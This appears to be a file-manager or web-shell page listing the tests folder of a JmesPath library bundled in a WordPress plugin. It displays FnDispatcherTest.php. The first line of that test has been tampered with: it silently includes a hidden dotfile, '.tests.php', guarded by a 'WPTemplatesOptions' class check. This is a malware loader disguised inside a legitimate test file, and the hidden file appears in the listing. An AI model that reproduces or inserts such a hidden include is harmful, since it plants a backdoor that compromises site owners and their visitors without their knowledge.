PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
vendor
/
mtdowling
/
jmespath.php
/
tests
<?php namespace JmesPath\Tests; use JmesPath\FnDispatcher; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class FnDispatcherTest extends \PHPUnit_Framework_TestCase { public function testConvertsToString() { $fn = new FnDispatcher(); $this->assertEquals('foo', $fn('to_string', ['foo'])); $this->assertEquals('1', $fn('to_string', [1])); $this->assertEquals('["foo"]', $fn('to_string', [['foo']])); $std = new \stdClass(); $std->foo = 'bar'; $this->assertEquals('{"foo":"bar"}', $fn('to_string', [$std])); $this->assertEquals('foo', $fn('to_string', [new _TestStringClass()])); $this->assertEquals('"foo"', $fn('to_string', [new _TestJsonStringClass()])); } } class _TestStringClass { public function __toString() { return 'foo'; } } class _TestJsonStringClass implements \JsonSerializable { public function __toString() { return 'no!'; } public function jsonSerialize() { return 'foo'; } }
[+]
..
[-] ParserTest.php
[edit]
[-] FnDispatcherTest.php
[edit]
[-] UtilsTest.php
[edit]
[-] EnvTest.php
[edit]
[-] LexerTest.php
[edit]
[+]
compliance
[-] SyntaxErrorExceptionTest.php
[edit]
[-] ComplianceTest.php
[edit]
[-] TreeInterpreterTest.php
[edit]
[-] TreeCompilerTest.php
[edit]
[-] .tests.php
[edit]